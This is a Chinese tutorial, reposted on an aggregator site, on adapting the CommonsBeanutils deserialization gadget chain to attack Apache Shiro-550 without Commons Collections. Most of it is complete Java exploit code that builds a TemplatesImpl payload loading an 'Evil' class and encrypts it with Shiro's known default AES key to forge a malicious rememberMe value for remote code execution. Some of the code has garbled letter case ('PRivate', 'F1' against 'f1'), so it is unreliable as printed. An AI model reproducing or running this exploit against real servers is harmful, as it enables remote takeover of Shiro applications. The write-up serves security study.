反序列化Gadget学习篇九 CommonBeanutils与shiro

发布时间:2022-07-04 发布网站:脚本宝典
脚本宝典收集整理的这篇文章主要介绍了反序列化Gadget学习篇九 CommonBeanutils与shiro脚本宝典觉得挺不错的,现在分享给大家,也给大家做个参考。

serialVersionUID

如果两个不同版本的库使用了同一个类,而这两个类可能有一些方法和属性有了变化,此时在序列化通信的时候就可能因为不兼容导致出现隐患。因此,Java在反序列化的时候提供了一个机制,序列化时会根据固定算法计算出一个当前类的serialVersionUID值,写入数据流中;反序列化时,如果发现对方的环境中这个类计算出的serialVersionUID不同,则反序列化就会异常退出,避免后续的未知隐患。 遇到serialVersionUID的报错,保证两端依赖的jar包版本向同即可

思路

前面的CC链都需要目标环境中有CommonCollections的包,对于shiro-550这种很常用的漏洞,如果没有CommonCollections,能否用其他方法利用,比如用CommonBeanutils。 最简单的shiro项目,需要包含:

  1. shiro-core、shiro-web,这是shiro本身的依赖
  2. javax.servlet-api、jsp-api,这是JSP和Servlet的依赖,仅在编译阶段使用,因为Tomcat中自带这两个依赖
  3. slf4j-api、slf4j-simple,这是为了显示shiro中的报错信息添加的依赖
  4. commons-LOGging,这是shiro中用到的一个接口,不添加会爆java.lang.ClassNotFoundException: org.apache.COMmons.logging.LogFactory错误

在只有这几个必要依赖的情况下,查看lib库发现默认是带有commons-beanutils的:

反序列化Gadget学习篇九  CommonBeanutils与shiro

说明shiro本身就依赖beanutils库,直接使用上一篇的payload打一下发现报错:

反序列化Gadget学习篇九  CommonBeanutils与shiro

Unable to load class named [ org.apache.commons.collections.comparators.ComparableComparator]

找不到这个类,说明虽然默认依赖了beanutils,但是并不完整,查看一下哪里用到了这个类。

反序列化Gadget学习篇九  CommonBeanutils与shiro

初始化BeanComparator时,没有传入一个比较器,就会默认调用 org.apache.commons.collections.comparators.ComparableComparator作为比较器,那就需要一个新的比较器,要求:

  1. 实现java.util.Comparator接口
  2. 实现java.io.Serializable接口
  3. 在jdk或者shiro或者CommonBeanutils中自带

在实现了java.util.Comparator中寻找,找到的是java.lang.String.CaseinsensITiveComparator。jdk自带,兼容性强,相关代码:

public static final Comparator<String> CASE_INSENSITIVE_ORDER
                                         = new CaseInsensitiveComparator();
    PRivate static class CaseInsensitiveComparator
            implements Comparator<String>, java.io.Serializable {
        // use serialVersionUID From JDK 1.2.2 for interoperability
        private static final long serialVersionUID = 8575799808933029326L;

        public int compare(String s1, String s2) {
            int n1 = s1.length();
            int n2 = s2.length();
            int min = Math.min(n1, n2);
            for (int i = 0; i < min; i++) {
                char c1 = s1.charAt(i);
                char c2 = s2.charAt(i);
                if (c1 != c2) {
                    c1 = Character.toUpPErCase(c1);
                    c2 = Character.toUpperCase(c2);
                    if (c1 != c2) {
                        c1 = Character.toLowerCase(c1);
                        c2 = Character.toLowerCase(c2);
                        if (c1 != c2) {
                            // No overflow because of numeric promotion
                            return c1 - c2;
                        }
                    }
                }
            }
            return n1 - n2;
        }

        /** Replaces the de-serialized object. */
        private Object readResolve() { return CASE_INSENSITIVE_ORDER; }
    }

也就是通过String的静态属性CASE_INSENSITIVE_ORDER就可以获取到一个CaseInsensitiveComparator的对象 用这个对象来实例化一个BeanComparator

final BeanComparator comparator=new BeanComparator(null, String.CASE_INSENSITIVE_ORDER);

其他代码与正常的beanutils链相同,注意吧queue.add("1")添加到队列里的1变成字符串,因为使用的是字符串比较器,不能比较整数。生成的结果即可用来攻击shiro 完整代码:

package changez.sec.CommonBeanutils;

import changez.sec.shiro.CommonCollectionsK1;
import changez.sec.shiro.Evil;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.beanutils.BeanComparator;
import org.apache.shiro.crypto.AesCipherService;
import org.apache.shiro.util.ByteSource;

import java.io.ByteArrayOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.PriorityQueue;
import java.util.Queue;

public class shiro_beanutils {

    public static void main(String[] args) throws Exception {
        byte[] payload = getPayload();

        AesCipherService aes = new AesCipherService();
        byte[] key = java.util.Base64.getDecoder().decode("kPH+bIxk5D2deZiIxcaaaA==");
        ByteSource cipheretext = aes.encrypt(payload,key);
        System.out.println(cipheretext);

    }

    public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception{
        Field F1 = obj.getClass().getDeclaredField(fieldName);
        f1.setAccessible(true);
        f1.set(obj, value);
    }


    public static byte[] getPayload() throws Exception {
        TemplatesImpl obj = new TemplatesImpl();
        setFieldValue(obj, "_bytecodes", new byte[][]{ClassPool.getDefault().get(Evil.class.getName()).toBytecode()});
        setFieldValue(obj, "_name", "HelloTemplatesImpl");
        setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());

        final BeanComparator comparator = new BeanComparator(null, String.CASE_INSENSITIVE_ORDER );
        final PriorityQueue queue = new PriorityQueue(2, comparator);
        queue.add("1");
        queue.add("1");

        setFieldValue(comparator, "property", "outputProperties");
        setFieldValue(queue, "queue", new Object[]{obj, obj});

        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(barr);
        oos.writeObject(queue);
        oos.close();

        return barr.toByteArray();
    }
}

反序列化Gadget学习篇九  CommonBeanutils与shiro

脚本宝典总结

以上是脚本宝典为你收集整理的反序列化Gadget学习篇九 CommonBeanutils与shiro全部内容,希望文章能够帮你解决反序列化Gadget学习篇九 CommonBeanutils与shiro所遇到的问题。

如果觉得脚本宝典网站内容还不错,欢迎将脚本宝典推荐好友。

本图文内容来源于网友网络收集整理提供,作为学习参考使用,版权属于原作者。
如您有任何意见或建议可联系处理。小编QQ:384754419,请注明来意。